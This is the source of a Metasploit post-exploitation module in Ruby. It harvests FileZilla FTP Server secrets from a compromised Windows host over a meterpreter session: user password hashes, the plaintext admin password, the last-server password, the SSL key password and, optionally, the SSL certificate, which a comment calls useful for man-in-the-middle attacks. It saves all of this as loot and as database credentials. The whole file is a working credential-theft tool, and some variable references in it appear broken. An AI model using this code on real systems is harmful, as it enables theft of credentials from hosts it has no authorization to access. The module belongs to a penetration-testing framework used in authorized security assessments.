## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rexml/document' class MetasploitModule < Msf::Post include Msf::Post::File def initialize(info = {}) super( update_info(info, 'Name' => 'Windows Gather FileZilla FTP Server Credential Collection', 'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. }, 'License' => MSF_LICENSE, 'Author' => [ 'bannedit', # original idea & module 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter' ] )) register_options([ OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM ]) end def run if session.type != "meterpreter" print_error "Only meterpreter sessions are supported by this post module" return end progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432') locations = [] progfiles_env.each do |k, v| next if v.blank? locations << v + "\\FileZilla Server\\" end keys = [ "HKLM\\SOFTWARE\\FileZilla Server", "HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server", ] keys.each do |key| begin root_key, base_key = session.sys.registry.splitkey(key) value = session.sys.registry.query_value_direct(root_key, base_key, "install_dir") rescue Rex::Post::Meterpreter::RequestError => e vprint_error(e.message) next end locations << value.data + "\\" end locations = locations.uniq filezilla = check_filezilla(locations) get_filezilla_creds(filezilla) if filezilla end def check_filezilla(locations) paths = [] begin locations.each do |location| print_status("Checking for Filezilla Server directory in: #{location}") begin session.fs.dir.foreach("#{location}") do |fdir| ['FileZilla Server.xml','FileZilla Server Interface.xml'].each do |xmlfile| if fdir == xmlfile filepath = location + xmlfile print_good("Configuration file found: #{filepath}") paths << filepath end end end rescue Rex::Post::Meterpreter::RequestError => e vprint_error(e.message) end end rescue ::Exception => e print_error(e.to_s) return end if !paths.empty? print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}") print_line return paths end return nil end def get_filezilla_creds(paths) fs_xml = "" # FileZilla Server.xml - Settings for the local install fsi_xml = "" # FileZilla Server Interface.xml - Last server used with the interface credentials = Rex::Text::Table.new( 'Header' => "FileZilla FTP Server Credentials", 'Indent' => 1, 'Columns' => [ "Host", "Port", "User", "Password", "SSL" ]) permissions = Rex::Text::Table.new( 'Header' => "FileZilla FTP Server Permissions", 'Indent' => 1, 'Columns' => [ "Host", "User", "Dir", "FileRead", "FileWrite", "FileDelete", "FileAppend", "DirCreate", "DirDelete", "DirList", "DirSubdirs", "AutoCreate", "Home" ]) configuration = Rex::Text::Table.new( 'Header' => "FileZilla FTP Server Configuration", 'Indent' => 1, 'Columns' => [ "FTP Port", "FTP Bind IP", "Admin Port", "Admin Bind IP", "Admin Password", "SSL", "SSL Certfile", "SSL Key Password" ]) lastserver = Rex::Text::Table.new( 'Header' => "FileZilla FTP Last Server", 'Indent' => 1, 'Columns' => [ "IP", "Port", "Password" ]) paths.each do |path| file = session.fs.file.new(path, "rb") until file.eof? if path.include? "FileZilla Server.xml" fs_xml << file.read elsif path.include? "FileZilla Server Interface.xml" fsi_xml << file.read end end file.close end # user credentials password is just an MD5 hash # admin pass is just plain text. Priorities? creds, perms, config = parse_server(fs_xml) creds.each do |cred| credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']] session.db_record ? (source_id = session.db_record.id) : (source_id = nil) service_data = { address: session.session_host, port: config['ftp_port'], service_name: 'ftp', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, jtr_format: 'raw-md5', session_id: session_db_id, post_reference_name: self.refname, private_type: :nonreplayable_hash, private_data: cred['password'], username: cred['user'] } credential_data.merge!(service_data) credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data ={ core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) create_credential_login(login_data) end perms.each do |perm| permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']] end session.db_record ? (source_id = session.db_record.id) : (source_id = nil) # report the goods! if config['admin_pass'] == "" vprint_status("Detected Default Adminstration Settings:") else vprint_status("Collected the following configuration details:") service_data = { address: session.session_host, port: config['admin_port'], service_name: 'filezilla-admin', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: self.refname, private_type: :password, private_data: config['admin_pass'], username: 'admin' } credential_data.merge!(service_data) credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data ={ core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) create_credential_login(login_data) end vprint_status(" FTP Port: #{config['ftp_port']}") vprint_status(" FTP Bind IP: #{config['ftp_bindip']}") vprint_status(" SSL: #{config['ssl']}") vprint_status(" Admin Port: #{config['admin_port']}") vprint_status(" Admin Bind IP: #{config['admin_bindip']}") vprint_status(" Admin Pass: #{config['admin_pass']}") vprint_line configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']] begin lastser = parse_interface(fsi_xml) lastserver << [lastser['ip'], lastser['port'], lastser['password']] vprint_status("Last Server Information:") vprint_status(" IP: #{lastser['ip']}") vprint_status(" Port: #{lastser['port']}") vprint_status(" Password: #{lastser['password']}") vprint_line rescue vprint_error("Could not parse FileZilla Server Interface.xml") end loot_path = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, "filezilla_server_credentials.csv", "FileZilla FTP Server Credentials") print_status("Credentials saved in: #{loot_path}") loot_path = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv, "filezilla_server_permissions.csv", "FileZilla FTP Server Permissions") print_status("Permissions saved in: #{loot_path}") loot_path = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv, "filezilla_server_configuration.csv", "FileZilla FTP Server Configuration") print_status(" Config saved in: #{loot_path}") loot_path = store_loot("filezilla.server.lastser", "text/csv", session, lastserver.to_csv, "filezilla_server_lastserver.csv", "FileZilla FTP Last Server") print_status(" Last server history: #{loot_path}") print_line end def parse_server(data) creds = [] perms = [] groups = [] settings = {} users = 0 passwords = 0 begin doc = REXML::Document.new(data).root rescue REXML::ParseException print_error("Invalid xml format") end opt = doc.elements.to_a("Settings/Item") if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings settings['admin_port'] = opt[0].text rescue "" settings['ftp_port'] = 21 else settings['ftp_port'] = opt[0].text rescue 21 settings['admin_port'] = opt[16].text rescue "" end settings['admin_pass'] = opt[17].text rescue "" settings['local_host'] = opt[18].text rescue "" settings['bindip'] = opt[38].text rescue "" settings['ssl'] = opt[42].text rescue "" # empty means localhost only * is 0.0.0.0 if settings['local_host'] settings['admin_bindip'] = settings['local_host'] else settings['admin_bindip'] = "127.0.0.1" end settings['admin_bindip'] = "0.0.0.0" if settings['admin_bindip'] == "*" || settings['admin_bindip'].empty? if settings['bindip'] settings['ftp_bindip'] = settings['bindip'] else settings['ftp_bindip'] = "127.0.0.1" end settings['ftp_bindip'] = "0.0.0.0" if settings['ftp_bindip'] == "*" || settings['ftp_bindip'].empty? settings['ssl'] = settings['ssl'] == "1" if !settings['ssl'] && datastore['SSLCERT'] print_error("Cannot loot the SSL Certificate, SSL is disabled in the configuration file") end settings['ssl_certfile'] = items[45].text rescue "" # Get the file if it is there. It could be useful in MITM attacks if settings['ssl_certfile'] != "" && settings['ssl'] and datastore['SSLCERT'] sslfile = session.fs.file.new(settings['ssl_certfile']) until sslfile.eof? sslcert << sslfile.read end store_loot("filezilla.server.ssl.cert", "text/plain", session, sslfile, settings['ssl_cert'] + ".txt", "FileZilla Server SSL Certificate File" ) print_status("Looted SSL Certificate File") end settings['ssl_certfile'] = "" if settings['ssl_certfile'].nil? settings['ssl_keypass'] = items[50].text rescue "" settings['ssl_keypass'] = "" if settings['ssl_keypass'].nil? vprint_status("Collected the following credentials:") if doc.elements['Users'] doc.elements.each("Users/User") do |user| account = {} opt = user.elements.to_a("Option") account['user'] = user.attributes['Name'] rescue "" account['password'] = opt[0].text rescue "" account['group'] = opt[1].text rescue "" users += 1 passwords += 1 groups << account['group'] user.elements.to_a("Permissions/Permission").each do |permission| perm = {} opt = permission.elements.to_a("Option") perm['user'] = user.attributes['Name'] rescue "" perm['dir'] = permission.attributes['Dir'] rescue "" perm['fileread'] = opt[0].text rescue "" perm['filewrite'] = opt[1].text rescue "" perm['filedelete'] = opt[2].text rescue "" perm['fileappend'] = opt[3].text rescue "" perm['dircreate'] = opt[4].text rescue "" perm['dirdelete'] = opt[5].text rescue "" perm['dirlist'] = opt[6].text rescue "" perm['dirsubdirs'] = opt[7].text rescue "" perm['autocreate'] = opt[9].text rescue "" perm['host'] = settings['ftp_bindip'] opt[8].text == "1" ? (perm['home'] = "true") : (perm['home'] = "false") perms << perm end user.elements.to_a("IpFilter/Allowed").each do |allowed| end user.elements.to_a("IpFilter/Disallowed").each do |disallowed| end account['host'] = settings['ftp_bindip'] account['port'] = settings['ftp_port'] account['ssl'] = settings['ssl'].to_s creds << account vprint_status(" Username: #{account['user']}") vprint_status(" Password: #{account['password']}") vprint_status(" Group: #{account['group']}") if account['group'] vprint_line end # Rather than printing out all the values, just count up groups = groups.uniq unless groups.uniq.nil? if !datastore['VERBOSE'] print_status("Collected the following credentials:") print_status(" Usernames: #{users}") print_status(" Passwords: #{passwords}") print_status(" Groups: #{groups.length}") print_line end return [creds, perms, settings] end def parse_interface(data) lastser = {} begin doc = REXML::Document.new(data).root rescue REXML::ParseException print_error("Invalid xml format") return lastser end opt = doc.elements.to_a("Settings/Item") opt.each do |item| case item.attributes['name'] when /Address/ lastser['ip'] = item.text when /Port/ lastser['port'] = item.text when /Password/ lastser['password'] = item.text end end lastser['password'] = "" if lastser['password'].nil? lastser end def got_root? session.sys.config.getuid =~ /SYSTEM/ ? true : false end def whoami session.sys.config.getenv('USERNAME') end end